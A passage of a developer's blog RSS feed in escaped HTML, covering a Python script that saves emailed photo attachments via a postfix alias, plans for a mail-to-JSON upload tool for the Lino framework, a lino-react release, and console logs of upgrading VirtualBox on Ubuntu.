    &lt;span class="n"&gt;log_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;store_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;photos.log&amp;quot;&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;I am&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getpass&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getuser&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;writing to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# &amp;quot;I am photos writing to /home/photos&amp;quot;&lt;/span&gt;

    &lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;input_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;message_from_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; Write message from &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; to &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;From&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;store_dir&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# log_file.write_text(&amp;quot;Write {} to {}.\n&amp;quot;.format(msg, store_dir))&lt;/span&gt;
    &lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;my username: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getpass&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getuser&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;

    &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="c1"&gt;# multipart/* are just containers&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_content_maintype&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;multipart&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="c1"&gt;# Applications should really sanitize the given filename so that an&lt;/span&gt;
        &lt;span class="c1"&gt;# email message can&amp;#39;t be used to overwrite important files&lt;/span&gt;
        &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_filename&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mimetypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;guess_extension&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_content_type&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;part-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;03d&lt;/span&gt;&lt;span class="si"&gt;}{&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;store_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="c1"&gt;#print(&amp;quot;Wrote {} parts to {}&amp;quot;.format(counter, filename))&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Wrote &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; parts to &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;store_dir&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0829.html</guid><pubDate>Thu, 29 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 28, 2024</title><link>https://luc.lino-framework.org/blog/2024/0828.html</link><description>&lt;section id="wednesday-august-28-2024"&gt;
&lt;h1&gt;Wednesday, August 28, 2024&lt;a class="headerlink" href="#wednesday-august-28-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reactivated ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4381"&gt;#4381&lt;/a&gt; (Uploading photos or other media files via
email (postfix)).&lt;/p&gt;
&lt;p&gt;I am plying with the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/home/photos/bin/photos.py&lt;/span&gt;&lt;/code&gt; script on SR.  It is
called because the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/aliases&lt;/span&gt;&lt;/code&gt; defines an alias:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;photos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;             &lt;span class="s2"&gt;&amp;quot;|/home/photos/bin/photos.py&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That script is increasing in complexity and I should definitively publish it
somewhere in a git repository rather than editing it with &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;nano&lt;/span&gt;&lt;/code&gt; in a
terminal.&lt;/p&gt;
&lt;p&gt;Should I publish it as a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt;? No, because we don’t want
to start the whole Django machine for every incoming email. Let it be an
independent little command-line tool. But how to name it? Maybe
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail2mime&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;While meditating on this I stumbled into a question on SO &lt;a class="reference external" href="https://stackoverflow.com/questions/50421237/postfix-access-to-incoming-mail-info-inside-of-python-script"&gt;postfix - access to
incoming mail info inside of python script&lt;/a&gt;
where the author uses a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.procmailrc&lt;/span&gt;&lt;/code&gt; and a tool &lt;a class="reference external" href="https://linux.die.net/man/1/ripmime"&gt;ripmime&lt;/a&gt;. Am I reinventing the wheel?&lt;/p&gt;
&lt;p&gt;Seems that &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ripmime&lt;/span&gt;&lt;/code&gt; is not enough for our use case. We want a few features
that are quite specific to Lino:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The tool should read a list of allowed recipients from a plain text file and
refuse any incoming mail from other recipients.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The plain text file would be generated by the Lino site and give the Lino user
name for every allowed recipient email address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The tool should read the subject and the body of the email, and pass them to
an application-specific Lino command.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A new &lt;cite&gt;mail2json&lt;/cite&gt; script would write a json file containing subject, body,
sender, timestamp, and all attachments to a directory. And the Lino site runs a
background task that watches this directory for new json files. And each new
json file will create an &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;uploads.Upload&lt;/span&gt;&lt;/code&gt; row for each attachment, and
one &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.Comment&lt;/span&gt;&lt;/code&gt; for each json file.&lt;/p&gt;
&lt;p&gt;The story continues here: &lt;a class="reference internal" href="0829.html"&gt;&lt;span class="doc"&gt;Thursday, August 29, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0828.html</guid><pubDate>Wed, 28 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Saturday, August 24, 2024</title><link>https://luc.lino-framework.org/blog/2024/0824.html</link><description>&lt;section id="saturday-august-24-2024"&gt;
&lt;h1&gt;Saturday, August 24, 2024&lt;a class="headerlink" href="#saturday-august-24-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I pushed my first changeset in lino-react. I also released this to PyPI.&lt;/p&gt;
&lt;p&gt;My first changeset in lino-react&lt;/p&gt;
&lt;p&gt;Detailed list of changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Updated the docs so that they build again with &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. Some
time ago we tried to use sphinxjs, but that turned out to not work as
easily as expected, and now I boldly decided to try documenting in
prosa style.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Removed the “Pinned URL(s)” button in the toolbar of the main page.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changed the “!” into a “.” in a translatable text message (mostly to
test i18n).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;cite&gt;&amp;lt;GridElement&amp;gt;&lt;/cite&gt;, the logic for finding the next cell to edit
when a cell editor has finished, is no longer run by the &lt;cite&gt;onKeyDown&lt;/cite&gt;
event of the wrapper div but by the &lt;cite&gt;onCellEditComplete&lt;/cite&gt; hook of the
&lt;cite&gt;&amp;lt;DataTable&amp;gt;&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bump primereact version from 10.6 to 10.8.2. (Add &lt;cite&gt;editMode&lt;/cite&gt;
attribute to &lt;cite&gt;&amp;lt;DataTable&amp;gt;&lt;/cite&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0824.html</guid><pubDate>Sat, 24 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, August 21, 2024</title><link>https://luc.lino-framework.org/blog/2024/0821.html</link><description>&lt;section id="wednesday-august-21-2024"&gt;
&lt;h1&gt;Wednesday, August 21, 2024&lt;a class="headerlink" href="#wednesday-august-21-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I wanted to see a balance from my accounting system, which has been
running stable as a rock for the last 20 years.&lt;/p&gt;
&lt;p&gt;I use TIM for my accounting. TIM has one disadvantage: it runs only under
Windows. That’s why I still have a copy of the Windows XP from my last Windows
computer, which I run in a VirtualBox VM without Internet connection.&lt;/p&gt;
&lt;p&gt;But that box didn’t open today. It said:&lt;/p&gt;
&lt;img alt="../../_images/vbox61.png" src="../../_images/vbox61.png" /&gt;
&lt;p&gt;On &lt;a class="reference external" href="https://forums.virtualbox.org/viewtopic.php?t=111917"&gt;https://forums.virtualbox.org/viewtopic.php?t=111917&lt;/a&gt; I found the probable
explanation: I am still using VB version 6.1, which came to its end of life in
December 2023. “If you’ve applied a recent Linux kernel upgrade then roll back
to the previous working kernel. VirtualBox 6.1.50 is out of date and no longer
supported; so running newer Linux kernels is likely to result in problems if
VirtualBox is not upgraded.”&lt;/p&gt;
&lt;p&gt;Thanks to concise upgrade instructions on &lt;a class="reference external" href="https://kifarunix.com/upgrade-virtualbox-6-x-to-virtualbox-7-x-on-ubuntu-debian/?expand_article=1#google_vignette"&gt;kifarunix.com&lt;/a&gt;
it took me only half an hour to get it running again. The remaining part of this
post are just my console sessions.&lt;/p&gt;
&lt;p&gt;I don’t have the &lt;a class="reference external" href="https://redresscompliance.com/virtualbox-extension-pack-advanced-features-and-licensing/"&gt;VirtualBox Extension Pack&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo vboxmanage list extpacks
Extension Packs: 1
Pack no. 0:   VNC
Version:      6.1.50
Revision:     161033
Edition:
Description:  VNC plugin module
VRDE Module:  VBoxVNC
Usable:       true
Why unusable:
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Uninstall the old version:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove --purge --auto-remove virtualbox virtualbox-6.1
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package &amp;#39;virtualbox-6.1&amp;#39; is not installed, so not removed
The following packages will be REMOVED:
  dctrl-tools* dkms* libcairo-5c0* libgsoap-2.8.117* linux-headers-6.2.0-39-generic* linux-hwe-6.2-headers-6.2.0-39* python-tinycss2-common* python3-cairocffi*
  python3-cairosvg* python3-cffi* python3-cssselect2* python3-defusedxml* python3-ply* python3-pycparser* python3-tinycss2* python3-xcffib* virtualbox*
  virtualbox-dkms* virtualbox-qt*
0 upgraded, 0 newly installed, 19 to remove and 6 not upgraded.
After this operation, 293 MB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 312295 files and directories currently installed.)
Removing virtualbox-qt (6.1.50-dfsg-1~ubuntu1.22.04.3) ...
Removing virtualbox (6.1.50-dfsg-1~ubuntu1.22.04.3) ...
Removing virtualbox-dkms (6.1.50-dfsg-1~ubuntu1.22.04.3) ...
Module virtualbox-6.1.50 for kernel 6.5.0-45-generic (x86_64).
Before uninstall, this module version was ACTIVE on this kernel.

vboxdrv.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.5.0-45-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.


vboxnetadp.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.5.0-45-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.


vboxnetflt.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.5.0-45-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.

depmod...
Module virtualbox-6.1.50 for kernel 6.8.0-40-generic (x86_64).
Before uninstall, this module version was ACTIVE on this kernel.

vboxdrv.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.8.0-40-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.


vboxnetadp.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.8.0-40-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.


vboxnetflt.ko:
 - Uninstallation
   - Deleting from: /lib/modules/6.8.0-40-generic/updates/dkms/
 - Original module
   - No original module was found for this module on this kernel.
   - Use the dkms install command to reinstall any previous module version.

depmod...
Deleting module virtualbox-6.1.50 completely from the DKMS tree.
Removing dkms (2.8.7-2ubuntu2.2) ...
Removing dctrl-tools (2.24-3build2) ...
Removing libcairo-5c0:amd64 (1.21) ...
Removing libgsoap-2.8.117:amd64 (2.8.117-2build1) ...
Removing linux-headers-6.2.0-39-generic (6.2.0-39.40~22.04.1) ...
dpkg: warning: while removing linux-headers-6.2.0-39-generic, directory &amp;#39;/lib/modules/6.2.0-39-generic&amp;#39; not empty so not removed
Removing linux-hwe-6.2-headers-6.2.0-39 (6.2.0-39.40~22.04.1) ...
Removing python3-cairosvg (2.5.2-1) ...
Removing python3-cssselect2 (0.4.1-2) ...
Removing python3-tinycss2 (1.1.1-2) ...
Removing python-tinycss2-common (1.1.1-2) ...
Removing python3-cairocffi (1.2.0-2) ...
Removing python3-xcffib (0.11.1-2) ...
Removing python3-cffi (1.15.0-1build2) ...
Removing python3-defusedxml (0.7.1-1) ...
Removing python3-pycparser (2.21-1) ...
Removing python3-ply (3.11-5) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu3) ...
Processing triggers for libc-bin (2.35-0ubuntu3.8) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for shared-mime-info (2.1-2) ...
Processing triggers for mailcap (3.70+nmu1ubuntu1) ...
Processing triggers for desktop-file-utils (0.26-1ubuntu3) ...
(Reading database ... 281825 files and directories currently installed.)
Purging configuration files for dkms (2.8.7-2ubuntu2.2) ...
Purging configuration files for virtualbox (6.1.50-dfsg-1~ubuntu1.22.04.3) ...
Purging configuration files for dctrl-tools (2.24-3build2) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Create a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/apt/sources.list.d/virtualbox.list&lt;/span&gt;&lt;/code&gt; with a single line
of text:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;deb&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;amd64&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;virtualbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualbox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;debian&lt;/span&gt; &lt;span class="n"&gt;jammy&lt;/span&gt; &lt;span class="n"&gt;contrib&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Install gnupg2 (I didn’t ask why):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install gnupg2
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  gnupg2
0 upgraded, 1 newly installed, 0 to remove and 6 not upgraded.
Need to get 5 548 B of archives.
After this operation, 52,2 kB of additional disk space will be used.
Get:1 http://ee.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 gnupg2 all 2.2.27-3ubuntu2.1 [5 548 B]
Fetched 5 548 B in 0s (123 kB/s)
Selecting previously unselected package gnupg2.
(Reading database ... 281792 files and directories currently installed.)
Preparing to unpack .../gnupg2_2.2.27-3ubuntu2.1_all.deb ...
Unpacking gnupg2 (2.2.27-3ubuntu2.1) ...
Setting up gnupg2 (2.2.27-3ubuntu2.1) ...
Processing triggers for man-db (2.10.2-1) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Add the key to a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/apt/trusted.gpg.d/virtualbox.gpg&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ wget -qO- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
sudo gpg --dearmor --yes -o /etc/apt/trusted.gpg.d/virtualbox.gpg
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Update my apt cache:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt update
Hit:1 http://ee.archive.ubuntu.com/ubuntu jammy InRelease
Hit:2 http://ee.archive.ubuntu.com/ubuntu jammy-updates InRelease
Hit:3 http://ee.archive.ubuntu.com/ubuntu jammy-backports InRelease
Hit:4 https://updates.signal.org/desktop/apt xenial InRelease
Hit:5 https://installer.id.ee/media/ubuntu jammy InRelease
Hit:6 http://deb.anydesk.com all InRelease
Hit:7 http://security.ubuntu.com/ubuntu jammy-security InRelease
Get:8 http://download.virtualbox.org/virtualbox/debian jammy InRelease [4 428 B]
Hit:9 https://files.eid.belgium.be/debian jammy InRelease
Get:10 http://download.virtualbox.org/virtualbox/debian jammy/contrib amd64 Packages [1 495 B]
Hit:11 https://ppa.launchpadcontent.net/mozillateam/ppa/ubuntu jammy InRelease
Hit:12 https://linux.teamviewer.com/deb stable InRelease
Fetched 5 923 B in 3s (2 103 B/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
6 packages can be upgraded. Run &amp;#39;apt list --upgradable&amp;#39; to see them.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Install the new version:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install virtualbox-7.0
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsdl-ttf2.0-0
The following packages will be REMOVED:
  virtualbox-guest-additions-iso
The following NEW packages will be installed:
  libsdl-ttf2.0-0 virtualbox-7.0
0 upgraded, 2 newly installed, 1 to remove and 6 not upgraded.
Need to get 92,9 MB of archives.
